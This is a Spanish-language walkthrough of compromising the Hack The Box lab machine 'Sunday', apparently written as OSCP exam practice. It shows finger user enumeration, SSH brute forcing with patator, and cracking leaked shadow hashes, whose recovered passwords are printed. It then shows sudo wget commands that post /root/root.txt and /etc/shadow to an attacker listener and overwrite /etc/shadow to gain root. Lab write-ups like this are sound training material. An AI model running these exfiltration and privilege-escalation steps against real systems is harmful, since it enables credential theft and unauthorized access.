OSCP Path ~ Sunday de Hack The Box (Necesario VIP)
Sunday ~ Hack The Box to OSCP
Realizamos el escaneo con Nmap de puertos y servicios abiertos
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
| finger: Login Name TTY Idle When Where\x0D
| sunny sunny pts/2 Sat 17:20 10.10.16.210 \x0D
|_sammy sammy pts/3 Sat 18:03 10.10.16.210 \x0D
111/tcp open rpcbind
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
46385/tcp closed unknown
63929/tcp closed unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Vemos que tenemos el servicio finger
que sirve para enumerar usuarios cuando se conectan
# finger-user-enum.pl -U /opt/SecLists/Usernames/Names/names.txt -t 10.10.10.76 1 ⚙
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Worker Processes ......... 5
Usernames file ........... /opt/SecLists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10177
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used
######## Scan started at Thu Jul 29 11:20:02 2021 #########
access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
admin@10.10.10.76: Login Name TTY Idle When Where..adm Admin < . . . . >..lp Line Printer Admin < . . . . >..uucp uucp Admin < . . . . >..nuucp uucp Admin < . . . . >..dladm Datalink Admin < . . . . >..listen Network Admin < . . . . >..
anne marie@10.10.10.76: Login Name TTY Idle When Where..anne ???..marie ???..
bin@10.10.10.76: bin ??? < . . . . >..
dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..
jo ann@10.10.10.76: Login Name TTY Idle When Where..jo ???..ann ???..
la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..
line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..
miof mela@10.10.10.76: Login Name TTY Idle When Where..miof ???..mela ???..
root@10.10.10.76: root Super-User pts/3 <Apr 24, 2018> sunday ..
sammy@10.10.10.76: sammy console <Jul 31, 2020>..
sunny@10.10.10.76: sunny pts/3 <Apr 24, 2018> 10.10.14.4 ..
sys@10.10.10.76: sys ??? < . . . . >..
zsa zsa@10.10.10.76: Login Name TTY Idle When Where..zsa ???..zsa ???..
######## Scan completed at Thu Jul 29 11:57:39 2021 #########
15 results.
10177 queries in 2257 seconds (4.5 queries / sec)
Se ve mucho ruido con esta herramienta, pues por eso es importante fijarnos solo en los usuarios que tenga fecha y hora.
user: sunny, sunday
Teniendo estos usuarios procedemos a probar fuerza bruta por el puerto SSH con la herramienta patator
# patator ssh_login host=10.10.10.76 port=22022 user=FILE0 0=users.txt password=FILE1 1=passwd_ssh_brute -x ignore:fgrep='failed'
12:53:58 patator INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.2 at 2021-07-29 12:53 CEST
12:53:58 patator INFO -
12:53:58 patator INFO - code size time | candidate | num | mesg
12:53:58 patator INFO - -----------------------------------------------------------------------------
12:54:13 patator INFO - 0 19 5.936 | sunny:sunday | 11 | SSH-2.0-Sun_SSH_1.3
12:54:14 patator INFO - Hits/Done/Skip/Fail/Size: 1/18/0/0/18, Avg: 1 r/s, Time: 0h 0m 15s
SSH Error Algorithms - Solution
Procedemos a intentar conectarnos por ssh con las credenciales obtenidas:
# ssh sunny@10.10.10.76 -p 22022
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
Se nos lanza un error por un algoritmo de codificacion llamado diffie-helman
.. pero lo solucionamos de la siguiente forma:
ssh sunny@10.10.10.76 -p 22022 -oKexALgorithms=+diffie-hellman-group1-sha1
Con el parametro -oKexALgorithms=
procedemos a especificarle el algoritmo que nos da problemas +diffie-hellman-group1-sha1
# ssh sunny@10.10.10.76 -p 22022 -oKexALgorithms=+diffie-hellman-group1-sha1
Password:
Last login: Thu Jul 29 16:24:15 2021 from 10.10.16.212
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$
Conseguimos conectarnos correctamente. Procedemos a enumerar un poco el sistema.
Escalada de Privilegios a Sammy
Procdemos con los comandos tipicos para enumera el sistema:
sudo -l
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
id
sunny@sunday:~$ id
uid=65535(sunny) gid=1(other) groups=1(other)
uname -a
sunny@sunday:~$ uname -a
SunOS sunday 5.11 snv_111b i86pc i386 i86pc Solaris
Procedemos a movernos a la raiz /
para enumerar directorios
cd /backup
cat shadow.backup
Sacamos los Hashes de un archivo shadow.backup de los siguientes usuarios
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Procedo a intentar Crackearlos con el uso de John
# john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
"sunday " (sunny)
"cooldude!" (sammy)
2g 0:00:00:10 DONE (2021-07-29 13:29) 0.1978g/s 20257p/s 20662c/s 20662C/s infinitig35..bluemoon2
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Probamos a usar el comando su
para con la contraseña del usuario sammy conectarnos pero no nos funciona
Porque no probamos por ssh
# ssh sammy@10.10.10.76 -p 22022 -oKexALgorithms=+diffie-hellman-group1-sha1 1 ⨯
Password:
Password:
Last login: Thu Jul 29 17:26:31 2021 from 10.10.16.218
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sammy@sunday:~$ ls
Desktop Documents Downloads Public
Conseguimos entrar correctamente por ssh
sammy@sunday:~$ cd Desktop/
sammy@sunday:~/Desktop$ ls
user.txt
sammy@sunday:~/Desktop$ cat user.txt
a3d9498027ca5187ba1793xxxxxxxxxxxx
Sacamos la flag de user.txt
#Escalada de Privilegios a Root Procedemos a enumerar al user sammy
sammy@sunday:~/Desktop$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
Vale pues procedemos de la siguiente forma
sammy@sunday:~/Desktop$ sudo wget --post-file /root/root.txt http://10.10.16.218/80
--18:05:40-- http://10.10.16.218/80
=> `80'
Connecting to 10.10.16.218:80... conectado.
Petición HTTP enviada, esperando respuesta...
Y nos ponemos en escucha con una session de nc
# nc -vlnp 80 1 ⨯
listening on [any] 80 ...
connect to [10.10.16.218] from (UNKNOWN) [10.10.10.76] 59492
POST /80 HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.16.218
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
fb40fab61d99d37536daeec0xxxxxxxxx
Ahi pillamos la flag de /root/root.txt
Consiguiendo la shell de root atraves del archivo /etc/shadow Nos tramitamos el archivo antes mencionado
sammy@sunday:~$ sudo wget --post-file /etc/shadow http://10.10.16.218/80
--15:26:04-- http://10.10.16.218/80
=> `80'
Connecting to 10.10.16.218:80... conectado.
Petición HTTP enviada, esperando respuesta... ^C
Nos ponemos en la escucha con :
# nc -vlnp 80 > shadow
listening on [any] 80 ...
connect to [10.10.16.218] from (UNKNOWN) [10.10.10.76] 49713
Modificamos el archivo /etc/shadow desde nuestro Kali para meterle una password nueva al usuario root y ya poder conectarnos a el
En mi caso e procedido copiando la contraseña del usuario sammy
para a hacer su root
y meter la pass de sammy
conseguir ganar acceso a root
Una vez modificado el archivo shadow, nos montamos un server en python3 para tramitar el archivo.
Y ya procedemos a hacer uso de wget para copiarnos el shadow modificado
sammy@sunday:~$ sudo wget http://10.10.16.218/shadow -O /etc/shadow
--15:35:30-- http://10.10.16.218/shadow
=> `/etc/shadow'
Connecting to 10.10.16.218:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 657 [application/octet-stream]
100%[===========================================================>] 657 --.--K/s
15:35:31 (16.60 KB/s) - `/etc/shadow' saved [657/657]
Ahora procedemos a hacer un su root
sammy@sunday:~$ su root
Password:
sammy@sunday:~# id
uid=0(root) gid=0(root)
Maquina Rooteada =)